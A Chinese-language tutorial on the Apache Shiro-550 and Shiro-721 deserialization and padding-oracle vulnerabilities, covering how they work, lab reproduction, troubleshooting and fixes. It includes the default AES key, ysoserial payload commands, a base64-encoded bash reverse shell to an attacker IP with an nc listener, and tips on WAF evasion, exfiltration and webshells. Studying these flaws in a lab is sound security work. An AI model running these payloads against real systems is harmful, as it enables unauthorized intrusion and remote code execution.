Shiro-550与Shiro-721漏洞原理、复现与防御深度解析

发布时间:2026/7/3 21:54:18
Shiro-550与Shiro-721漏洞原理、复现与防御深度解析 1. 项目概述与核心价值Shiro-550和Shiro-721这两个漏洞可以说是Java安全领域里绕不开的“经典案例”。但凡你接触过企业级Java应用的安全测试或渗透测试这两个名字大概率会出现在你的漏洞清单里。它们不仅仅是两个独立的CVE编号更代表了两种截然不同的攻击思路和利用条件理解它们之间的差异对于构建有效的防御策略至关重要。简单来说Shiro-550是一个“密钥泄露”导致的反序列化漏洞攻击门槛相对较低而Shiro-721则是一个需要“已知用户凭证”的“Padding Oracle”攻击利用条件更为苛刻但一旦成功危害同样巨大。复现这两个漏洞不仅仅是跑通一个攻击脚本那么简单其核心价值在于深入理解Apache Shiro框架的安全机制在何处出现了断裂以及攻击者是如何利用这些断裂点构造攻击链的。这对于安全开发人员、渗透测试工程师乃至安全运维人员来说都是一次绝佳的学习机会能够让你从攻击者的视角审视自己的应用从而在代码编写和配置管理阶段就堵上这些安全缺口。2. 漏洞原理深度剖析2.1 Shiro-550漏洞默认密钥的“原罪”Shiro-550的根源在于一个设计上的“便利性”变成了安全性灾难。Apache Shiro框架为了简化开发者的配置在早期版本中为CookieRememberMeManager组件硬编码了一个默认的加密密钥kPHbIxk5D2deZiIxcaaaA。这个组件的职责是处理“记住我”功能当用户登录时选择“记住我”Shiro会将用户的身份信息序列化然后用这个密钥进行AES加密最后Base64编码后存入一个名为rememberMe的Cookie中。下次用户访问时Shiro会取出这个Cookie逆向执行解密、反序列化操作来恢复用户会话。漏洞就出在这个流程上。如果开发者在部署应用时没有主动修改这个默认密钥那么攻击者就相当于拿到了加密保险箱的万能钥匙。攻击者可以构造一个恶意的Java对象序列化数据通常是一个利用链如CommonsCollections用这个已知的默认密钥进行AES加密和Base64编码然后替换掉请求中的rememberMeCookie。Shiro服务端在收到请求后会用内置的默认密钥成功解密这个Cookie并毫无戒备地对解密后的数据进行反序列化操作。一旦反序列化执行其中包裹的恶意代码如命令执行就会被触发。注意这里的关键是“反序列化”动作。Shiro框架信任了来自客户端Cookie的数据并在解密后直接对其进行了反序列化而没有做任何白名单校验。这违背了反序列化安全的基本原则永远不要反序列化不可信的源数据。2.2 Shiro-721漏洞Padding Oracle攻击的艺术Shiro-721则是一个更精巧、更现代的密码学攻击案例。在Shiro修复了550漏洞强制要求开发者修改默认密钥后新的安全机制被引入。CookieRememberMeManager不再使用固定密钥而是改为在应用启动时生成一个随机的AES密钥。这看起来解决了默认密钥的问题但加密模式的选择留下了隐患。Shiro使用了AES-CBC加密模式。CBC模式有一个特性它需要“填充”Padding来使明文长度符合分块要求。在解密时服务端会检查填充的字节是否合法符合PKCS#5/PKCS#7标准。如果不合法服务端通常会返回一个与合法解密不同的错误例如一个PaddingException。Shiro-721漏洞利用的正是这个“差异”。攻击流程可以概括为“盲注”前提攻击者需要先获取一个有效的、属于某个已知用户的rememberMeCookie。这可以通过社会工程学、密码爆破或其他漏洞如信息泄露获得。攻击攻击者将这个有效的Cookie作为“密文”像玩拼图一样一个字节一个字节地篡改它并发送给服务端。探测通过观察服务端的响应是返回“合法的解密但反序列化失败”错误还是“填充错误”攻击者可以推断出中间状态的值。推导利用CBC模式的数学结构结合推断出的中间值攻击者可以逐步推算出AES加密时使用的“初始化向量”IV并最终构造出能够解密出任意明文即恶意序列化数据的新密文。这个过程完全不需要知道AES密钥本身它利用的是服务端在错误处理时泄露出的“信息侧信道”。整个攻击可能需要进行上万次请求耗时较长但理论上只要有一个有效的用户Cookie并且服务端存在可被利用的Java反序列化链攻击就能成功。2.3 两漏洞的核心差异对比为了更清晰地把握两者区别我整理了下面的对比表这在实战中用于快速判断利用方向非常有用特性维度Shiro-550 (CVE-2016-4437)Shiro-721 (CVE-2019-12422)漏洞本质默认密钥硬编码导致反序列化Padding Oracle攻击导致密文伪造利用前提目标使用默认或已知的AES密钥拥有一个有效的用户rememberMe Cookie攻击复杂度低直接加密利用链高需要大量请求进行盲注关键步骤1. 构造恶意序列化数据2. 用已知密钥AES加密3. 替换Cookie发送1. 获取有效用户Cookie2. 通过Padding Oracle攻击伪造密文3. 发送伪造的Cookie修复方式修改cipherKey配置使用强随机密钥升级Shiro版本使用AES-GCM等认证加密模式3. 复现环境搭建与工具选型3.1 靶场环境部署纸上得来终觉浅绝知此事要躬行。复现漏洞的第一步是搭建一个安全的实验环境。强烈建议在虚拟机或隔离的Docker环境中进行避免对宿主机或其他网络设备造成意外影响。我通常采用两种方式使用现成漏洞靶场比如vulhub项目。它提供了docker-compose编排的一键化漏洞环境非常适合快速搭建。# 假设你已经克隆了vulhub项目 cd vulhub/shiro/CVE-2016-4437 docker-compose up -d执行后一个存在Shiro-550漏洞的Web应用就会在本地8080端口启动。这种方式省时省力环境纯净。手动编译部署有漏洞的Shiro版本为了更深入地理解你可以从Apache官网下载Shiro 1.2.4等存在漏洞的版本将其集成到一个简单的Spring Boot或Servlet Web应用中。你需要手动配置CookieRememberMeManager并使用默认密钥。这种方式能让你完全控制代码和环境适合进行源码调试和原理追踪。3.2 核心工具链准备工欲善其事必先利其器。复现这两个漏洞你需要一套组合工具Java环境JDK 8这是大多数历史Shiro应用运行的环境。漏洞利用工具ShiroAttack2这是一个图形化/命令行工具集成了密钥爆破、漏洞检测、利用链生成于一体对新手非常友好。它内置了常见的密钥字典和利用链如CC链、CB链。ysoserialJava反序列化利用链的“瑞士军刀”。你需要用它来生成各种Gadget Chains的序列化payload。例如生成一个调用计算器的CommonsCollections2链java -jar ysoserial.jar CommonsCollections2 calc.exe payload.ser。定制化Python脚本对于Shiro-721你可能需要用到一些开源的PoC脚本这些脚本实现了Padding Oracle攻击算法。例如GitHub上的一些项目如shiro-721-exploit提供了参考实现。网络抓包与调试工具Burp Suite不可或缺。用于拦截、重放、修改HTTP请求观察Cookie和响应差异也是进行Padding Oracle攻击时自动化发包的理想平台结合Intruder或Turbo Intruder插件。浏览器开发者工具用于简单查看请求和Cookie。实操心得工具版本很重要。不同版本的ysoserial生成的payload可能对应不同版本的Commons-Collections等库。务必确保你的靶场环境中的依赖库版本与ysoserial利用链所针对的版本匹配否则反序列化会失败。一个常见的排查步骤就是检查靶场Web应用的WEB-INF/lib目录下的jar包版本。4. Shiro-550漏洞复现实操详解4.1 漏洞检测与密钥爆破在发动攻击前首先要确认目标存在Shiro框架并且可能使用了默认或弱密钥。框架指纹识别访问目标应用拦截任意请求如登录请求。观察响应头或响应体中是否包含rememberMedeleteMe字段。这是Shiro在注销时设置Cookie的典型特征是一个强指纹。此外一些默认错误页面也可能包含Shiro字样。使用工具进行密钥爆破 打开ShiroAttack2在目标URL处填入你的靶场地址如http://192.168.1.100:8080/login。工具会先发送一个特殊的探测请求根据响应判断Shiro是否存在。 如果存在则进入密钥爆破环节。ShiroAttack2内置了一个包含100多个常见密钥的字典这些密钥来源于互联网上泄露的源码、配置文件等。点击“爆破密钥”工具会自动化尝试每个密钥去加密一个固定明文然后发送请求通过观察响应是否出现“合法的解密错误”而非“解密失败”错误来判断密钥是否正确。关键点爆破成功的标志通常是HTTP响应码依然是200但返回体内容可能与之前不同或者出现了javax.crypto.BadPaddingException之类的异常关键词是否回显取决于应用配置。ShiroAttack2会自动分析这些特征。4.2 构造与发送反序列化Payload当爆破出正确的密钥例如确认是默认密钥kPHbIxk5D2deZiIxcaaaA后就可以构造攻击了。生成恶意序列化数据 我们需要一个能在目标服务器上执行命令的payload。假设靶场环境包含CommonsCollections4库。java -jar ysoserial.jar CommonsCollections4 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ}|{base64,-d}|{bash,-i} payload.ser这个命令生成一个反弹Shell的payload。其中YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzY2NjYgMD4mMQ是bash -i /dev/tcp/192.168.1.100/6666 01的base64编码请将IP和端口替换为你的监听地址。加密并组装Cookie ShiroAttack2工具简化了这一过程。在“利用”界面选择爆破出来的正确密钥选择对应的利用链如CommonsCollections4然后填入你的命令或反弹Shell语句点击“攻击”。工具会在后台自动完成用ysoserial生成序列化数据 - 用指定AES密钥加密 - Base64编码 - 替换到rememberMeCookie - 发送HTTP请求。 如果你手动操作这个过程需要编写脚本核心是模拟Shiro的加密过程BASE64(AES-Encrypt(Serialized_Payload))。接收反弹Shell 在攻击前你需要在攻击机上用Netcat监听指定端口nc -lvnp 6666当ShiroAttack2发送攻击请求后如果一切顺利你会在Netcat终端看到一个来自靶场的Shell连接。4.3 实战中的注意事项与技巧利用链的选择这是成功的关键。如果CommonsCollections4不成功可以尝试CommonsCollections2、CommonsCollections3、CommonsBeanutils1等。这完全取决于靶场应用中实际存在的第三方库版本。ShiroAttack2的“检测利用链”功能可以帮你自动化测试哪些链是可用的。命令的编码与绕过在实战中目标系统可能没有bash或者存在命令注入过滤。你需要根据目标系统Linux/Windows调整命令。对于Linux可以尝试sh -c对于Windows可能是cmd /c。有时需要对特殊字符进行编码绕过。无回显利用如果目标不出网无法反弹Shell可以考虑使用DNSLog、HTTPLog外带数据或者执行写入Webshell、添加用户等操作。ShiroAttack2也支持这些payload的生成。加密模式Shiro使用的是AES-CBC模式并且IV初始化向量是随机生成的。但在加密时Shiro将IV和真正的密文拼接在一起然后整体做Base64编码。所以我们的攻击payload在加密时也需要包含一个IV可以是任意值因为密钥已知我们可以计算出对应的解密结果。5. Shiro-721漏洞复现实操详解Shiro-721的复现过程更像一次精密的密码学实验需要更多的耐心。5.1 获取有效的RememberMe Cookie这是整个攻击的基石。你需要以一个合法用户的身份登录目标系统并勾选“记住我”。然后从浏览器或Burp Suite的请求中提取出服务器返回的rememberMeCookie值。这个Cookie是经过有效密钥加密的你的身份信息。模拟环境搭建在你的靶场中注册或使用一个默认账户如admin/admin登录并勾选“记住我”然后从Cookie中复制这个长字符串。在后续攻击中我们将以此为基础进行篡改。5.2 Padding Oracle攻击原理与自动化理解攻击原理有助于调试和解决问题。攻击的目标是伪造一个新的密文块C’使得当它与前一个密文块或IV经过AES解密和XOR运算后能产生我们想要的明文P’即恶意序列化数据。攻击过程是逐字节进行的修改密文块C的最后一个字节发送请求。如果服务器返回“Padding Error”说明我们修改后的密文解密后填充字节不合法如果返回其他错误如反序列化错误说明填充字节合法比如被解密成了0x01。利用这个“是/否”的信号结合CBC的解密公式可以推算出中间状态值的一个字节。重复这个过程可以从最后一个字节推算到第一个字节最终得到整个中间状态值。知道了中间状态值我们就可以精心构造一个新的密文块C’使得C’解密后与我们想要的明文P’进行XOR运算得到我们刚才计算出的中间状态值。这样C’就被“伪造”出来了。由于这个过程需要数万次请求必须依赖自动化脚本。你可以使用现有的Python PoC脚本或者利用Burp Suite的Turbo Intruder插件编写攻击脚本。脚本的核心逻辑就是循环上述步骤并根据服务器响应调整猜测值。5.3 分步复现过程记录环境确认确保你的靶场是存在Shiro-721漏洞的版本如Shiro 1.4.2并且使用了随机密钥。访问应用确认可以获取到有效的rememberMeCookie。启动攻击脚本将获取到的有效Cookie、目标URL、以及你希望最终执行的命令或序列化payload作为参数输入到Padding Oracle攻击脚本中。监控攻击进程脚本开始运行后会向目标发送海量的HTTP请求。你可以在Burp Suite的Proxy历史记录或脚本输出中看到进度。这个过程可能持续几十分钟到数小时取决于网络延迟和服务器性能。获取伪造的Cookie当脚本成功运行完毕它会输出一个伪造的rememberMeCookie值。这个值看起来和原来的很像但内部已经被“偷梁换柱”解密后会是你的恶意payload。发送攻击请求手动或使用工具将请求中的rememberMeCookie替换为这个伪造的值然后发送请求。验证攻击结果如果攻击成功你的命令将会在服务器上执行。你可以通过监听端口对于反弹Shell、查看DNSLog记录或检查服务器上是否生成了新文件等方式来验证。5.4 复现难点与突破点时间成本这是最大的难点。数万次请求对网络和服务器都是负担也容易被WAF或IDS发现。在实验环境中可以关闭不必要的日志或调低防护级别。错误响应的辨别攻击脚本依赖于准确区分“填充错误”和“其他错误”。有些应用可能会统一返回500错误或者自定义错误页面这会导致脚本无法判断。你需要仔细分析正常解密失败和填充错误的响应差异可能需要调整脚本中的响应判断逻辑。网络稳定性攻击过程中不能有请求丢失或超时否则会影响中间状态值的计算导致攻击失败。确保实验网络环境稳定。利用链的兼容性和Shiro-550一样你最终伪造的密文解密后是一个序列化对象所以同样面临利用链兼容性问题。你需要提前确认目标环境中存在可用的Gadget Chain。6. 漏洞修复与安全加固建议复现漏洞是为了更好地防御。针对这两个漏洞修复措施是明确的立即升级Shiro版本这是最根本的解决方案。升级到最新稳定版如1.13.0或Apache Shiro 2.x这些版本已经修复了已知的序列化漏洞并采用了更安全的加密模式。强制修改加密密钥如果暂时无法升级对于Shiro-550必须修改cipherKey配置。密钥必须是足够长且随机的Base64编码字符串。建议使用强随机生成器生成。# 在shiro.ini或Spring配置中 securityManager.rememberMeManager.cipherKey your_strong_random_base64_key_here禁用RememberMe功能如果业务不需要“记住我”功能最安全的方式是彻底禁用它。使用反序列化过滤器在Java环境中可以考虑使用全局的反序列化过滤器如ObjectInputFilter来限制允许反序列化的类。但这需要JDK版本支持且配置复杂。实施网络层防护在企业边界部署WAF配置规则以检测和拦截Shiro反序列化攻击的特征流量例如异常的rememberMeCookie长度、大量的相似请求针对721攻击等。7. 常见问题排查与解决实录在复现过程中你肯定会遇到各种问题。下面是我踩过的一些坑和解决方案问题一ShiroAttack2爆破密钥总是失败但目标确定是Shiro。排查首先检查网络连通性。其次目标可能使用了非标准路径或自定义的Cookie名称。在ShiroAttack2中尝试修改“RememberMe Cookie Name”。另外一些WAF或中间件可能会修改或丢弃异常Cookie可以尝试在简单环境中测试。解决使用Burp手动发送一个包含简单rememberMeCookie的请求观察响应。最准确的方式是进行源码审计确认CookieRememberMeManager的配置。问题二密钥爆破成功但发送Payload后无任何反应Netcat没收到Shell。排查这是最常见的问题。首先检查利用链是否兼容。在ShiroAttack2中使用“检测利用链”功能。其次检查命令是否执行成功。尝试一个简单的无害命令如ping如果出网或touch /tmp/test查看文件是否创建。第三检查防火墙规则反弹Shell的端口是否被阻挡。解决换用不同的利用链尝试。使用DNSLog等无回显验证方式确认命令执行。在靶场内部执行命令确认命令语法正确。问题三Shiro-721攻击脚本运行很久后失败提示无法推断出某个字节。排查这通常是由于错误响应判断不准确导致的。脚本可能将“填充错误”误判为成功或者反之。用Burp拦截几次脚本发送的请求对比服务器对“明显错误密文”和“原始有效密文”的响应差异状态码、响应体长度、特定关键词。解决根据分析结果调整攻击脚本中判断响应是否成功的逻辑函数。可能需要结合多个判断条件如状态码、响应体包含特定字符串等。问题四复现环境一切正常但实际测试某个公网目标时所有攻击都不生效。排查公网环境复杂得多。首先目标可能已经修复漏洞升级了Shiro。其次可能部署了WAF/IPS拦截了攻击流量。第三应用可能部署在多层代理或容器之后Cookie可能被处理。解决进行更细致的信息收集尝试寻找其他入口点。Shiro漏洞的利用依赖于特定的条件并非万能。整个复现过程从环境搭建到最终拿到Shell是一个系统工程。它考验的不仅仅是对漏洞原理的理解更是对工具使用、问题排查和实战调试的综合能力。最深刻的体会是自动化工具极大地提升了效率但真正遇到问题时还是需要回归到原理和基础通过抓包、调试、日志分析这些“笨办法”来定位根因。每一次成功的复现都是对Java安全机制和密码学应用一次更深刻的理解。